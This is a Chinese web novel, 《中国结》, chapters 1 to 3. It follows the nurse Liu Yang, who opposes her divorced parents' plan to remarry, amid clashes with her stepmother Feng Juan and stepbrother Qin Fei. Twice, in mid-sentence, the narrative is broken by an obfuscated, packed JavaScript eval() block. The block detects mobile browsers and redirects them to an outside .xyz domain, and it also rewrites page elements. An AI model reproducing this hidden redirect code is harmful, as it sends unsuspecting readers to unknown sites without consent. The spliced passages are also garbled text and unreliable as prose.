《中国结》 1. 第 1 章 过完24岁生日,柳漾跟赵东南领了证。五一小长假第一天,她早晨下夜班,赶到磨山公园拍婚纱照,今天要拍四套照片。 拍到第二套,太阳大了,赵东南去买冷饮,柳漾在遮阳伞下补妆,小区群里有人呼叫她,点开一看,她妈陈玉兰被人捉奸堵门上了。 邻居们拍了视频,一个女人骑在陈玉兰身上甩她耳光,大骂她不要脸,一把年纪撬别人老公。柳漾脑袋一炸,婆婆在旁边探头探脑,她连忙关了视频,跟摄影师说单位有点急事,剩下的照片下午再拍。 婚纱照拍到一半就要跑,婆婆沉下脸。摄影师助理们拉起户外帆布,四周一围,柳漾换下婚纱跑了,她得回去救她妈。 柳漾杀到小区,人群已经散了,自家大门敞开,她冲进家门,陈玉兰坐在餐桌前垂泪,任由沙发上的女人骂骂咧咧。 视频里女人只有背影,柳漾定睛看清她正脸,是她后妈冯鹃。冯鹃骂得起劲,柳漾刷地一耳光扇去:“贼喊捉贼!” 客厅飘着酒气,卧室关着门,柳漾拧开门,不出所料,她爸又喝多了,四仰八叉在床上昏睡。 冯鹃扑过来怒骂,柳漾回头看到陈玉兰那别别扭扭的模样,气不打一处来,抄起桌上的花瓶,冷冷看向冯鹃:“跟我出去说清楚,到底是谁不要脸!” 陈玉兰小声道:“漾漾……” 柳漾看不得她妈低眉垂眼,转身回自己房间,拎出一只扩音器。家住一楼,单元楼外没安监控,最近楼上不知哪几户人家,隔三差五就丢东西下来,从酒瓶子到剩饭剩菜全扣在窗前,柳漾跟物业投诉了几次都没用,索性买来扩音器,对楼上喊话,但是没起到多大作用。 冯鹃上蹿下跳骂得欢,柳漾打开扩音器,推搡着她:“骂啊,继续骂,我陪你出去骂!骂床上躺着的柳志华,我亲爸,没脸没皮跟你搞到一起!走走走,让隔壁左右都来评评理!” 秦飞跑进来的时候,他妈冯鹃正和柳漾对峙,两人抓着对方领口,互不相让,左邻右舍都在看热闹。 陈玉兰缩在卧室不出来,秦飞把冯鹃扯开,和柳漾捍卫各自的妈,针尖对麦芒。一个说冯鹃和柳志华是合法夫妻,有资格管教自家男人,一个说自己结婚摆酒在即,柳志华作为父亲,跟母亲商量办酒席合情合理。 柳漾头上还戴着小皇冠,忘记摘下,邻居们都站她这边,指责冯鹃身为第三者还不讲理,当爸的跟原配商量女儿的婚礼,她居然也容不得,实在是气量小。 冯鹃一跳三尺高:“我小题大做?!偷偷摸摸来往几个月,别以为我不知道,这都睡到床上去了!” 为了阻止冯鹃说出更难听的,陈玉兰扶着柳志华出来了。几杯醒酒茶灌下去,柳志华酒醒一大半,眼看门外挤满了人,又被冯鹃一口一个不要脸一激,脱口而出:“那我今天就把脸捡回来!下午就去复婚!” 一言既出,柳漾和冯鹃傻眼了,秦飞和陈玉兰笑开了花。冯鹃反应过来:“你想重婚?” 冯鹃不离婚,柳志华别想复婚,他长叹一声:“你闹成这样,我索性把话说开了,我们算了吧。” 柳志华酒气扑鼻,柳漾嫌恶,看向陈玉兰:“妈!” 陈玉兰扬眉吐气:“你爸早就说他做错事了,我给他这个机会。” 冯鹃又怒了,扬起手要扇陈玉兰,被秦飞笑嘻嘻地拍下去,他用大拇指着柳志华:“你最好说话算话。” 柳漾冷脸说:“我不同意。” 冯鹃跟柳漾站到同一阵线:“我也不同意。” 秦飞的朋友打来匿名电话,他接听两句,一脸急切状,手机塞给冯鹃:“妈,杰杰在学校被人打破头了!” 冯鹃和柳志华生的儿子名叫柳俊杰,她顿时慌了:“你快去啊!” “一起去!快点!”秦飞手一搭,像搂女朋友似的揽住他妈,附耳小声道,“他们有三个人,我走了,他们就该打破你的头了。” 秦飞连骗带拽,把冯鹃弄走了。柳漾气呼呼把门一关,教育陈玉兰:“你是前妻,前夫来看你,你怂个什么?!” 陈玉兰没精打采:“没事了,你回去拍照吧。” “还拍个鬼!”柳漾一把扯下头上的小皇冠,回来的路上,她就打电话跟赵东南商量好了,等她再找机会跟同事换班,凑个周末把照片拍完。 柳志华脑子还有些发懵,闷闷地烧着茶水,柳漾坐下来,打量着父母。陈玉兰很瘦小,看着文气,但不是任打任骂的窝囊性格,冯鹃发作她却不回嘴,没准真被抓包了。 父母的破事不想问,但不能不问,柳漾烦躁:“冯鹃为什么跑来发神经?” 陈玉兰不说话,柳漾看柳志华,柳志华也很不自然,说自己是来商量摆酒席,女儿结婚,娘家人这边也得摆几桌。柳漾一直盯着他,他只好说:“想到你妈把你养大不容易,我对不起你俩,就……” “就抱了一下。”陈玉兰说,“被冯鹃看到了,之后你爸酒劲上来,人倒了,我说不清楚了。” 父母都吞吞吐吐,可能不止抱了一下,但柳漾是当女儿的,她不逼问了,问多了尴尬。柳志华为她倒茶,她不喝,板起脸:“来跟我妈商量办酒,我欢迎,其余的免谈。” 陈玉兰精神不佳:“你别操心了,这是我和你爸的事。” 柳漾想到她妈被冯鹃按在地上打就来气,拎包走人:“你们干脆跟我同一天办酒算了,双喜临门。” 柳志华皱起眉:“两句话就又急躁起来,还是这脾气。” “我12岁你就不管我,现在有资格管我?臭脾气怎么了,臭脾气还能当艺术家呢!”柳漾觉得她妈不可理喻,柳志华出轨冯鹃,当年闹得那么难看,陈玉兰受了多少气,吃了多少苦,到头来,一句浪子回头,她就照单全收? 赵东南来了,一家三口心照不宣闭嘴。柳漾没对丈夫说太多,只说柳志华想给她多备点嫁妆,但他和冯鹃的儿子还小,冯鹃有意见,跑来吵了几句。 婆婆张玢爱喝汤,路过一家馆子,柳漾去打包了汤水和几道小菜。她是单亲家庭出身,家里还一穷二白,张玢本来就不满,婚纱照没拍完她就跑了,张玢绝对有意见。 秦飞前脚把冯鹃从柳家骗走,后脚冯鹃就知道上了当,还想回去找那两人算账,硬是被秦飞拽住了。 冯鹃说柳志华这段时间老往这边跑,秦飞看到柳漾头上的小皇冠了:“他家姑娘要结婚,娘家人商量摆酒,正常。” 冯鹃骂他根本搞不清状况,柳志华的女儿结婚在即,他跑前跑后都是应该的,她没拦过。但有天她给柳志华洗衣服,从裤兜里掏出发票,这人下馆子花了两百多。过几天,嗬,还买上排骨、胖头鱼和土鸡了,冯鹃拿着那张超市小票在网上搜索,是柳家小区门口。 柳俊杰还在长身体,家里一顿也没吃这么多好的,冯鹃恼火,这才跟上柳志华,也幸好跟来,那两人都抱一起了,陈玉兰还哭得一把鼻涕一把泪的。秦飞说:“人家想破镜重圆,你还拦着做什么?” 冯鹃反问:“那老子这些年算什么?” 秦飞跟他妈谈心:“我问你,你们结婚到现在,感情很好吗?” 冯鹃说:“怎么不好了?哪里不好了?” 秦飞指指自己:“我有眼睛。他对你好不好,你心里也有数吧。” 冯鹃坐上秦飞的小破车:“老夫老妻还要怎样,哪家过日子不是这样?” 秦飞把他妈送回家:“我听嬢嬢说,你俩结婚就因为你怀上杰杰了,估计那时候老柳就后悔。” 冯鹃和柳志华结婚时,秦飞上初二了,他在外人面前提到柳志华,会含糊地说句我家老头,在家里对柳志华的称呼是老柳,没喊过爸,冯鹃知道他不待见柳志华:“人争一口气,老子凭什么让给那个女的?” 秦飞心说他妈果然是脸上挂不住,冯鹃愤愤然:“以前别人都说他找我会后悔,我现在放他走了,那我成什么了?你不懂,你也不用再劝。大人的事你少管。” 冯鹃41岁怀柳俊杰,受了不少罪,七个月的时候浑身都肿得厉害,没法再开公汽,等她休完产假,公汽公司不跟她续签聘用合同了。 柳志华在空调品牌售后部上班,收入尚可,等柳俊杰断了奶,冯鹃在小区外边的夜市一条街摆摊,小本生意,赚个糊口钱。 如果柳志华跟前妻复婚,冯鹃认为自己这些年就活成了笑话,秦飞理解他妈。但理解归理解,心思不在你身上的男人,没意思。柳志华是什么人,是给他亲爸秦刚戴了绿帽子的人,他想滚赶紧滚。 回到家,冯鹃下了两碗肉丝面,跟秦飞分头吃了,操着两把菜刀切葱末,砧板剁得砰砰响,狠话撂得邦邦硬,归根结底就一句话,你不让我逼婚,你也别逼我跟老柳离婚,我们谁也不说谁。 秦飞气闷,回屋打游戏,快到傍晚,柳志华回了。他每天只要抽得开身,就回来帮冯鹃出摊。 柳志华若无其事,冯鹃自然不会翻旧账。她不松口,柳志华就离不成,陈玉兰那个女的想复婚,做她的千秋大梦。 武汉人爱喝汤,喝得还讲究,家里有两只巨大的罐子,大些的是沙土罐,武汉人称为铫子,里面煨着排骨藕汤。煤炉子慢慢煨一晚上,藕块粉糯清甜,排骨软烂不腻;小一点的是瓦罐,煨的是山药土鸡汤,很多人喜欢用它下粉丝吃。 柳志华帮冯鹃把东西都搬上餐车,冯鹃的摊位主打铁板炒饭炒面和煨汤,但小龙虾生意利润高,每年正当季,她也搭着做一点,她炒饭的时候,柳志华就在边上刷虾扯虾线。 柳志华那行没有节假日概念,计件拿工资,部门派单给你,你愿意接就接。春秋季是淡季,柳志华工作到下午5点半,准时回来出摊。武汉夏天没空调活不下去,他有时忙到半夜才能回家。 这一带是居民生活区,年轻的上班族都爱在家门口这条夜市街买点吃的。冯鹃利利索索剥蒜切姜,跟隔壁卖手抓饼的老板娘闲话,食材涨价太快,听说最近又要整顿,生意越来越不好做。 这条街有4家摊位是冯鹃的竞争对手,她评估过自己的核心优势,她很会做卤味和腌制品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦飞想起来,冯鹃忙得没吃晚饭,他说:“你跟老柳就算散伙,他也得对杰杰负责任,杰杰是他儿子,他必须支付抚养费。离婚就离婚,你怕个什么。” 冯鹃还是那句话:“大人的事你莫管。” “年底我就二十六了。”秦飞轻易不说这话,一说就被冯鹃逮到话头了,“你也知道你快三十了?没成家立业,一百岁也还是小辈。” 打麻将的人散场了,三五成群来吃夜宵,冯鹃降了价,他们把小龙虾包了。秦飞清洗着小龙虾,冯鹃炒着青椒肉丝面:“不离婚,他的钱都归我管,离婚了,万一不给抚养费,我每天上门打一顿不成?” 按亲爸秦刚家那些亲戚的说法,冯鹃和柳志华是偷情骑虎难下,才被迫结婚,秦飞以开玩笑的口吻,试探道:“怎么样,说实话了吧,说穿了是钱的问题,不是感情的问题。” 冯鹃平时很爱说笑:“这也就你能说,别人敢说我势利,我一锅铲打破他头。话说回来,真要离婚,老柳找任何人都行,跟陈玉兰复婚不行。那老子成什么了,他误入歧途啊?老子好好一个人,凭什么就成歧途了。” 秦飞把炒面端给顾客,冯鹃开始烧制小龙虾,她喜欢用啤酒焖烧一会儿,秦飞帮她开了一瓶:“你年纪大了,过得舒服点不行吗?整天吵吵闹闹容易得病。你白天在那家该出的气出了,该赶的人也赶走算了。” 今天没存货,冯鹃心情好,把话摊开说:“现在哪家哪户没空调?有空调就有维修保养需求,老柳才五十,退了休也还能返聘,老师傅经验丰富,抢手。” 秦飞暗忖,总而言之,气不顺是真的,图柳志华的收入也是真的。冯鹃切着青椒片和土豆片,给小龙虾当配菜,叹息家里条件不好,本就拖累秦飞找媳妇,要是柳志华离婚不负责任,不管柳俊杰,压力就都归秦飞了,更没姑娘肯嫁他。 “你总不能打一辈子光棍吧?我也不光是为了赌这口气,还得替我两个儿子想想,多存点钱是点钱。”冯鹃把小龙虾送去,还多送了两块卤干子。 那伙人喝酒吃虾,母子俩陪着耗着。灶上有只紫砂罐盛着各式卤味,冯鹃捞出一只卤到半化的鸡爪,有滋有味地吃。秦飞收着东西,他妈不离婚的理由很多,那边的女人呢?冯鹃说人争一口气,他突然想,陈玉兰可能也这样想。 听到柳志华说复婚,陈玉兰惊喜交加,秦飞看得真切。也许,柳志华跟一个各方面都不如陈玉兰的女人出轨,陈玉兰同样认为自己活成了别人口中的笑话,柳志华只有回到她身边,她忍了十几年的气才顺得过来。 顾客吃完小龙虾走人,柳志华回来了,秦飞和他合力把东西搬到餐车上。为了方便做生意,自家也住一楼,秦飞洗完澡睡不着,翻看柳志华的朋友圈,忆起那女儿名叫柳漾,在617医院急诊中心当护士。 白天和柳漾吵翻天,目的都一样,都不希望自己的妈再跟渣男有瓜葛。秦飞想,都说护士温柔,那女人却是个坏脾气小辣椒。但越是牙尖嘴利,就越可能眼窝浅心肠软,但愿她妈哭一哭,她就算了,打开大门迎接老浪子回头。 2. 第 2 章 中午,柳漾和赵东南到家后,婆婆张玢摆起了脸,赵东南使劲卖乖,柳漾埋头吃饭,洗完碗去补觉。 柳漾头天是四天一轮的大夜班,接诊近百例,其中还包括十多例重症患者,她累瘫了,一觉睡到晚上十点多才醒,公婆和赵东南都睡熟了。 手机大多消息都不用回,但下午时,陈玉兰发过一条信息:“你爸和我决定复婚,他在跟冯鹃谈判。” 凌晨时分,柳漾吃完饭,坐在窗边发呆。天要下雨,娘要嫁人,她烦。当年,柳志华跟冯鹃搞外遇,连他哥兄老弟都说他昏了头。论年纪,冯鹃比柳志华大几岁,论长相,冯鹃胖大个,人又泼,陈玉兰不说多好看,长得苗条秀气,文化程度也高些,是正规财会学校毕业,她年轻时,中专生很吃香。 柳漾小时候见过冯鹃一两次,昨天一见,依然很泼辣。柳志华跟这种人生活十几年,只怕有得受的,但他想复婚,柳漾坚决阻止到底,她妈犯糊涂,她可还记着仇。 婚房在顶楼,是复式结构,上下两层。柳漾下楼出门,开车去617医院,她闲着也是闲着,不如帮同事替替手,急诊中心就没个不缺人手的时候。 五月初的武汉已经热了,小龙虾也很可以吃了,夜市生意火爆,喝酒的人脾气也火爆,打架斗殴的多,走着走着一头跌倒的也多。柳漾刚到急诊就处理了一例,病人血流披面,酒气熏天,晕乎乎说不清撞哪儿了,柳漾把他推进治疗室。 王医生给病人缝针,科室主任徐怡翎诊室传来吵架声,柳漾和好友兼同事沈维奔过去。几个病人指责徐怡翎磨磨蹭蹭,十几分钟还没看完一个病人,一个中年男人高声道:“来看急诊的哪个不是火急火燎,人命关天,你耽误得起吗?” 徐怡翎带的实习医师维持着秩序,却被推来搡去,柳漾扒开人群一看,引起公愤的是个拾荒者,他伤到胳膊了,徐怡翎为他缝合伤口,一再嘱托:“你缝针的钱我不收,剩下的钱一定要打破伤风啊,一定啊。” 617医院边上居民区多,有些外伤病人就诊没来得及带钱,要么是拾荒者这类经济拮据的人,医生大多不收或者少收清创缝合的钱,打破伤风也是让他们打十几块钱的,皮试阳性才要求打三百多的。 “女医生就是婆婆妈妈,水平也差。”中年男人怨声载道,沈维凑近柳漾,小声道,“等他落到我手上。” 中年男人崴了脚,沈维辅助谢医生为他捏骨复位,咔嚓一声,他疼得泪如雨下,骂了娘。 天快亮的时候,送来一位急性肠穿孔孕妇,等她进了手术室,柳漾和沈维才稍微松快一点。 得知陈玉兰的决定,沈维很吃惊,在她心中,陈玉兰是完美妈妈,她从小就希望自己的妈是陈玉兰。 沈维小时候玩风车,跑得太快,被路边的石墩子绊到,她妈第一反应不是问痛不痛,而是骂她走路不看路,不知多费鞋。 脚很痛,鞋子并没有踢坏,可是每次都会被责怪。沈维以为天底下的爸妈都是这样,但是去柳漾家玩,柳漾看动画片,笑得咯咯的,呛到了,牛奶洒了一身,沙发上也溅到了,陈玉兰却没有冲柳漾大喊大叫,而是帮女儿顺气,再给她换干净衣服,然后把沙发和茶几都收拾干净。 沈维很羡慕柳漾,如果是自己,爸妈只会骂她,她从小就想,长大了不当这样的父母。家没能带来真正的温暖,成年后,沈维对婚育毫无兴趣,只谈恋爱,没感觉了就换人。 完美妈妈竟也会任性疯狂,沈维笑说陈玉兰和柳漾的关系颠倒了,操碎心的是女儿,不懂事的是妈。柳漾下决心严防死守,阻止父母复婚,不然将来柳志华整天在眼皮下晃,烦心。 沈维提醒道:“你家的事,让赵东南对他妈保密。” 赵东南的爸在园林局上班,妈在社科院,他自己在电信公司,还有个叔叔在国外大学当教授,在世俗眼光里,柳漾找赵东南是高攀。 柳漾在急诊中心当护士,又辛苦,收入又不高,妈在货运公司当出纳,爸是个修空调的,还离了婚。婆婆张玢自诩文化人,不会像冯鹃那样骂街,但神色都摆在脸上,柳漾想看不见都难,好在赵东南向着她,不然他求婚,她再喜欢也不可能点头。 爸再渣也是爸,将来养老送终,柳漾不可能完全不过问,她不太在意婆婆怎么想,越在意越怄气,跟赵东南谈恋爱到结婚,她练就了一个本事:把婆婆当成无理取闹的病人或家属,污言秽语过耳即忘。 沈维剖析柳漾父母想复婚不容易,他们还得看后妻冯鹃的脸色。前夫前妻为女儿的婚事走动走动,后妻都容不得,明显是借题发挥。 当年,冯鹃和柳志华双双婚内出轨,被千夫所指,冯鹃心里恨,没那么容易放手。柳漾没想到自己有天居然会跟后妈站在同一个阵营,当然,她绝不可能喊她妈。 柳志华和冯鹃结婚,柳漾再也没喊过爸。每年过年,柳志华会塞给她一个大红包,她转手就给了她妈,直到她和赵东南双方见父母,商量结婚摆酒,她才加了柳志华的微信。 在柳志华的朋友圈里,柳漾见过秦飞和柳俊杰的照片,昨天吵了那通架,她才第一次见到秦飞本人,他是冯鹃跟前夫秦刚生的,比她大一两岁的样子。 想到秦飞,柳漾颇觉好笑,柳志华巴巴去给秦飞当爸,当了十来年也没落着好。自己不想接收渣爸,秦飞却把他往外推,看秦飞对冯鹃那架势,冯鹃挺听他的,可别被他说服了。 救护车又送来两个急症患者,等他们都进了手术室,柳漾离开医院。她现在住的小区名叫香榭水岸,是公婆买给赵东南的婚房,说是婚房,但公婆出了大头,婚房仍是一家人住,还买在了婆婆张玢单位边上,方便张玢中午回家吃饭。 赵东南和张玢吃上了柳漾打包带回的早餐,柳漾小睡一觉,快11点起床烧饭。赵东南跟他爸赵捷成平时中午各自吃单位食堂,柳漾在家休息时,只用做自己和张玢的午餐。 谈恋爱第三个月,柳漾被赵东南带回家见父母,见张玢第一面,柳漾就觉察张玢对她充满挑剔,不过自古婆媳关系难搞的多,亲厚的少,她有这个认知。 婚前婚后,柳漾和张玢客客气气,表面过得去,但单独相处气氛很沉闷,互相只说点废话。赵捷成很随和,不多事,作为公公无可挑剔,但张玢正如她给柳漾的第一印象,是一杯不冷不热的水,柳漾要时刻警惕言行,免得张玢说出不冷不热的话来。 赵捷成单位组织去麻城看杜鹃花,顺带疗养,这几天不在家,赵东南所在的区电信公司五一搞活动,吃完早饭就出去了,柳漾把饭菜端上桌,敲开书房的门。 张玢出来吃饭,柳漾吃了一碟白灼生菜,一碗绿豆粥,两只鸡翅,半条刁子鱼,张玢嫌她吃得少:“工作又忙,又总是熬夜,营养跟不上,体质也不行,以后生伢有得你受的。” 听起来像在关心,其实是在催生。但领证前赵东南就跟父母说过:“急诊太累了,漾漾这两年想考证转岗,等她清闲点了,我们再要伢。” 张玢平时也没显出喜爱孩子,亲戚们的孩子她逗都不逗,柳漾不认为将来在带孩子一事上,婆婆能帮到大忙,但自从她跟赵东南领证,张玢催过几次了。 张玢有午睡的习惯,柳漾出门去找陈玉兰。陈玉兰在货运公司是出纳,但得充当半个劳力,大件小件都往磅秤上抬,柳漾帮把手,心里很后悔。柳志华被冯鹃管得严,逢年过节才来看看她,就因为她要筹备婚事,柳志华才频繁地跟陈玉兰来往,来往一多就生了事端,早知道会这样,她宁可晚两年再结婚。 柳漾和赵东南谈了三年恋爱,上个月领完证,她从娘家搬去婚房,陈玉兰身边一下子就冷清了。等她的同事都离开办公室,柳漾承诺以后会经常回家,反正开车到家也就半小时。 陈玉兰明白她想说什么:“我和你爸还有感情,不是脑子发热才决定的。” 柳漾发急,捏陈玉兰的腰:“你还记得自己腰肌劳损起不来吗?” 陈玉兰以前在轮渡公司上班,每天早上六点多发船,一直忙到晚上八点。早些年从武昌到汉口没有地铁,跨江大桥交通很拥堵,但通过轮渡就能直达,票价也亲民,而且无论电动车还是自行车,都能推上轮渡船。 陈玉兰和柳志华离婚时,柳漾小学还没毕业,为了照顾女儿,她不得已办了提前内退,就近在货运公司找了新工作,腰上的毛病就是这么落下来的。 柳漾努力劝:“妈,我们需要柳志华的时候,他在哪里?一个背叛你的人,没必要再接纳。” 陈玉兰不为所动:“我有我的想法。” 柳漾急得跺脚:“妈,他不值得!” 陈玉兰心意已决:“你都已经结婚了,要以自己的小家庭为重。以后你和东南过你们的日子,我和你爸过我们的日子,逢年过节回来看看我们就行了。” 陈玉兰看来是铁石心肠要跟柳志华复婚了,柳漾又是气恼又是急切:“我和东哥在攒钱买房,你愿意跟我们住,我们就尽量买大点,不愿意就把这里卖了,新的买在我们旁边,我保证经常回来看你。” 陈玉兰去年就把房子过户到柳漾名下,算女儿的婚前财产。她算给柳漾听,前两年她把房贷还清了,无债一身轻,跟同龄人相比,她日子过得不差。她说:“你婆婆不喜欢你,你俩独立出来也好,你还能少怄点气。漾漾,我没能力再帮你,你顾好你自己就行,别管我。” 柳志华是负心汉,还有个泼悍的后妻,柳漾不能眼睁睁地看着她妈再往火坑里跳:“妈,柳志华跟你离婚,你受气,现在想复婚,你还得怄气,那个女的不会放过你的。你现在吃喝不愁还有存款,别再给自己揽事了!” “他说了,会跟冯鹃好好谈。”陈玉兰忙了起来,还把计算器开了声音,按得叭叭响,柳漾僵了一下,扭头出门,陈玉兰喊她,“拍完婚纱照,洗几张最满意的,我摆在你屋里。” 陈玉兰和柳志华刚离婚时,房贷欠了六成,头几年,她的日子过得艰难,找两个弟弟开过几次口,弟弟们都不情不愿,弟媳们也都有意见,她省吃俭用,用最短时间把借娘家人的钱还清。柳漾想想她那两个舅舅,不打算搬救兵了,搬了陈玉兰也不会买账。 柳漾开着车沿东湖漫无目的转悠,忍不住又找好友沈维诉苦,沈维笑说她就是太顺了,从找工作到找对象都顺顺当当,她妈落得清闲,自然就琢磨自己了。 沈维27岁了,被家里催婚催得忍无可忍,前年搬出来租房子住。电话那头,她哈哈笑:“如果你是我,你妈就玩命操心你的恋爱问题了,没空自己谈恋爱了。” 柳漾又好气又好笑,婆婆问她在哪里,她不想又被盯着吃饭,推说在娘家吃晚饭。不到两分钟,赵东南的电话来了,他没直说,但柳漾听出来了,婆婆嫌她总跟娘家扯不清,告了状。 张玢在外严肃文雅,当妈是一张脸,当婆婆是另一张脸,柳漾觉得很没劲,赵东南说:“我忙完找你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563457|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们在外面吃。” 柳漾坐在湖边吹风,懒得动弹:“我随便买点吃吧。” 赵东南带着披萨和鸡翅来找媳妇,刚谈恋爱那时,两人最喜欢在东湖边上野餐。柳漾看到牛皮袋上的餐厅LOGO,嘟嘴道:“都说了别买太油腻,你肯定还多加了一份芝士。” “不吃我喂鱼。”赵东南哈柳漾痒痒,柳漾笑得一团酥软,他在耳边说,“反正晚上肯定要运动,胖不了。” 柳漾说起中午婆婆催生,赵东南皱起眉。他宣布有女朋友时,张玢就不满意,叨咕不要太早定下来,但他认定柳漾了:“妈,漾漾选择面很大,几个医生都对她有好感,病人家属也有人追她。” “医生长年累月要上夜班,钱赚得再多也是辛苦钱,又不着家,条件哪有你好。”张玢话虽如此,但她家亲戚头痛脑热,都没少麻烦柳漾,所有亲戚都夸柳漾热心快肠,性格开朗,张玢才少说几句。 有天赵东南回家说求婚成功,赵捷成乐得合不拢嘴,张玢警惕道:“她提什么条件了?” “没提。”赵东南认为自己找到了宝,他求婚不是很正式,在电影院看国产爱情片,氛围正好,他亲亲柳漾,说男主角掏出的那戒指不错,想查查品牌,柳漾问,“想求婚啊?” 赵东南说得准备准备,柳漾说她是医护人员,上班时间规定不得戴戒指首饰,买个素戒就行,她对于结婚惟一的顾虑是以后会有婆媳矛盾,这话她也明确地跟赵东南提过。 赵东南把钻戒预算拿出来给柳漾换车,柳漾的小夜班是凌晨一点下班,打车不安全,陈玉兰给她买了一辆5万块钱的二手车。赵东南想以旧换新,买辆20万左右的,柳漾挑了一辆10万出头的,她也就上下班开开,代步就行,不如省钱买房子。 两人积蓄都有限,只能住所谓的婚房,赵东南努力攒钱,他想在同一个小区再买一套,跟父母分开住,对双方都好。 哪怕是领证后,张玢仍嫌弃柳漾,她读的是职院,学历低,父母离异,家境也不行,对赵东南的事业毫无助力。赵东南说:“家境再好,我也得找个互相喜欢的吧。” 万里挑一的好媳妇,婆婆还总针对她,简直了。赵东南往柳漾腿上一摸:“瘦了。拍完婚纱照要补点回来。我明天跟我妈强调,是我暂时不想要伢,想跟你多过两年二人世界。” 柳漾牵着赵东南的手沿湖散步,下午沈维有个理论,一个家里总会有个不懂事的,维持生态平衡,她细想不无道理,多少人家把日子过瞎了,就在于家里有人乱折腾。现在是她和她妈生命里很好的时光,没有外债,小有积蓄,工作顺心,同事也好相处,但陈玉兰居然放着好日子不过,坚持回收柳志华。 明明是女儿,却被迫像个老母亲面对早恋的女儿,怎么劝也死活不听,就一句话:“我和他还有感情。”柳漾又急又气,“我妈熬到享福的时候了,为什么突然发疯想不开?” 赵东南说:“她和你爸要是顺利复婚还算好的,怕就怕你后妈三天两头跑来骂,你又不能不管。” 柳漾想起昨天赶回家时,冯鹃骂陈玉兰:“你骂我第三者不要脸,现在你自己呢?说人前落人后的东西!”陈玉兰当时低头不语,直到柳志华甩出复婚两个字,她才振作起来,眼里焕发光彩。 冯鹃多拦住柳志华一阵子,兴许他就放下冲动了,离婚复婚太伤筋动骨了。柳漾做梦也没想到,自己有天竟会寄望于那个被她厌恶的女人,赵东南却说:“这个事取决于你爸,一般来说,男人坚持要离,都离得掉。” 以柳漾的工作经验,多的是害怕离婚而找上一箩筐理由的女人。急救中心随车医生林盛追过她,聊天时感慨很多疾病的起因源自情绪,有的女人死不离婚,想拖死对方,但也拖死了自己,抑郁自杀有之,因情绪累积患上肿瘤者有之。 赵东南解决不了媳妇家的事,只能以宽她的心为主:“所以啊,你也得考虑你妈的情绪。你劝不动,不如退一步,你爸再犯浑也不怕,现在有我。” 柳漾有另一层顾虑:“老柳跟冯鹃有个儿子,要是儿子归老柳,我妈以后要吃苦,不归老柳,冯鹃肯定还会为儿子的事不停找他,我妈以后还得受气。” “走一步看一步,她要是再闹事,我们就再去善后,回家吧。”赵东南按着柳漾的肩,推着她往回走,柳漾换了话题。 赵东南从小到大顺风顺水,从重点小学一路到重点大学,迄今最大挫折可能是失恋。他高中谈的女朋友出国留学,在异国定居,第二任是大学时交往的,毕业后去了北京,异地恋维系了两年多,渐行渐远。 亲戚同事给赵东南张罗过相亲,他有一搭无一搭地相处,都没走下去。柳漾是他主动追求的,张玢虽然对柳漾不满意,但赵东南那时快27岁了,她不敢贸然拆台。 赵东南比柳漾大5岁,柳漾觉得他性格沉稳温厚,但现在她也不得不信服婆婆的家境理论,养尊处优有时会阻扰一个人往深里想问题。赵东南明白她抗拒父母结婚,但与其说是抗拒,更多是害怕,她害怕柳志华带来的一切会拖累自己的小日子。 柳志华已是另一个家庭的一家之主,是11岁小男孩的爸爸,他代表的是一种必然的负担,当女儿的只要心疼妈妈一天,就或多或少会被生父肩负的责任所左右。 小家庭为重,柳漾对自己说了一百遍,赵东南去洗澡,她渐渐睡着了,梦里她妈凤冠霞帔喜洋洋成亲,她急得满头大汗干瞪眼。 3. 第 3 章 秦飞加完班晃回家,柳俊杰说爸妈大吵了一架,秦飞出门去找冯鹃,摊边只有冯鹃在忙碌,秦飞问:“老柳呢?” “他今天接的单子多。”冯鹃剥着蒜瓣,手机横在面前,是一部古代言情剧,她面无表情地看,还把声音调大了,显然是拒绝和秦飞交流。 早上天蒙蒙亮,秦飞就听到冯鹃起来了,骑着三轮车去批发市场运回新鲜蔬菜和小龙虾,算起来她统共才睡4个多小时,但这种日子是她的常态。 秦飞辗转反侧,7点不到,柳志华和柳俊杰也起床了。柳俊杰吃完老爸做的面条,溜出去玩,他最近在学溜旱冰,秦飞中学时也迷过一阵。 柳志华熬上一锅稀饭,丢些绿豆红豆之类进去,他和冯鹃长年累月吃这个,就着冯鹃做的小菜和菜市场买的老面馒头。 秦飞一向在外面吃,有时热干面,有时襄阳牛肉面,他喜欢面里面的牛油气味。今天早晨他特地在家吃,实则是看看他妈跟老柳会谈些什么,但他们各吃各的,各玩各的手机,不说话,说也只说几句闲话,不触及实质。 剧情演到生离死别,冯鹃吸吸鼻子,点了全屏观看,秦飞发现她小拇指贴着创可贴。 冯鹃做事大刀阔斧风卷残云,被柳志华赐名黑旋风,但她长得白,一听就是笑谈,她当爱称听。黑旋风勇猛武艺高,居然把手切破了,可见柳志华把她气狠了。秦飞说:“杰杰说你俩吵架了。” 冯鹃指指屏幕上的女主角:“她是不是代言你玩的那个游戏?” 秦飞不让她回避话题,按了暂停:“我把老柳喊回来,三人对六面谈清楚。” 冯鹃抬眼看他:“你管好你自己,我对你就知足了。”然后她点开屏幕,继续看剧,秦飞知道他妈没看进去,她只是不想跟他聊下去。 柳志华接了秦飞的电话,声音很平静,像知道秦飞要问什么:“今天下午等你妈睡醒了起来,我跟她谈判了,你妈不同意,我改天再谈。你跟她说一声,我还有好几个单子,你帮她收一下摊。” 柳志华按了电话,秦飞有气,手撑在餐车上,对冯鹃说:“我也是家庭一员,你们闹矛盾了,我有资格调停,你不能拒不配合。” 